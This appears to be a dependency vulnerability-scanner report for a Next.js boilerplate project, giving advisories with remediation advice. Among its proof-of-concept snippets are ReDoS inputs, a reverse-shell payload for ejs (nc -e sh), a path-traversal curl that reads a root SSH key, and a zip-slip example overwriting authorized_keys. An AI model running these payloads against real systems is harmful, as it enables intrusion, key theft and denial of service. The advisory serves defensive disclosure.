Vulnerabilities

43 via 103 paths

Dependencies

820

Source

GitHub

Commit

9879d908

Find, fix and prevent vulnerabilities in your code.

Severity
  • 18
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Status
  • 43
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high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 cross-spawn@5.1.0
    Remediation: Upgrade to next@8.0.4.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 ip@1.1.5
    Remediation: Upgrade to ip@1.1.9.

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic function, by failing to identify hex-encoded 0x7f.1 as equivalent to the private addess 127.0.0.1. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.

PoC

var ip = require('ip');

console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1

Remediation

Upgrade ip to version 1.1.9, 2.0.1 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: body-parser
  • Introduced through: express@4.16.4

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 body-parser@1.18.3
    Remediation: Upgrade to express@4.20.0.

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser and urlencoded functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.

Remediation

Upgrade body-parser to version 1.20.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 serialize-javascript@1.9.1
    Remediation: Upgrade to next@7.0.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 serialize-javascript@1.9.1

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16769

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 serialize-javascript@1.9.1
    Remediation: Upgrade to next@7.0.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 serialize-javascript@1.9.1

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16772

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: serialize-javascript
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 serialize-javascript@1.9.1
    Remediation: Upgrade to next@7.0.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 serialize-javascript@1.9.1

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"} would be serialized as {"foo": /1"/, "bar": "a\/1"/}, meaning an attacker could escape out of bar if they controlled both foo and bar and were able to guess the value of <UID>. UID is generated once on startup, is chosen using Math.random() and has a keyspace of roughly 4 billion, so within the realm of an online attack.

PoC

eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');

Remediation

Upgrade serialize-javascript to version 3.1.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-html
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 ansi-html@0.0.7
    Remediation: Upgrade to next@8.0.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack-hot-middleware@2.22.3 ansi-html@0.0.7
    Remediation: Upgrade to next@9.3.4.

Overview

ansi-html is an An elegant lib that converts the chalked (ANSI) text to HTML.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.

PoC

require('ansi-html')('x1b[0mx1b[' + '0'.repeat(35))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-html to version 0.0.9 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-regex
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to next@9.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack-hot-middleware@2.22.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to next@9.3.4.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 friendly-errors-webpack-plugin@1.7.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 friendly-errors-webpack-plugin@1.7.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

References

high severity

Uncontrolled resource consumption

  • Vulnerable module: braces
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 braces@2.3.2
    Remediation: Upgrade to next@10.0.6.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 braces@2.3.2
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: loader-utils
  • Introduced through: next@7.0.2 and offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 loader-utils@1.1.0
    Remediation: Upgrade to next@10.0.6.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 styled-jsx@3.1.0 loader-utils@1.1.0
    Remediation: Upgrade to next@12.0.9.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 loader-utils@0.2.17

Overview

Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.

References

high severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10
    Remediation: Upgrade to next@10.0.6.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: moment
  • Introduced through: moment@2.23.0

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 moment@2.23.0
    Remediation: Upgrade to moment@2.29.2.

Overview

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade moment to version 2.29.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: moment
  • Introduced through: moment@2.23.0

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 moment@2.23.0
    Remediation: Upgrade to moment@2.29.4.

Overview

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the preprocessRFC2822() function in from-string.js, when processing a very long crafted string (over 10k characters).

PoC:

moment("(".repeat(500000))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

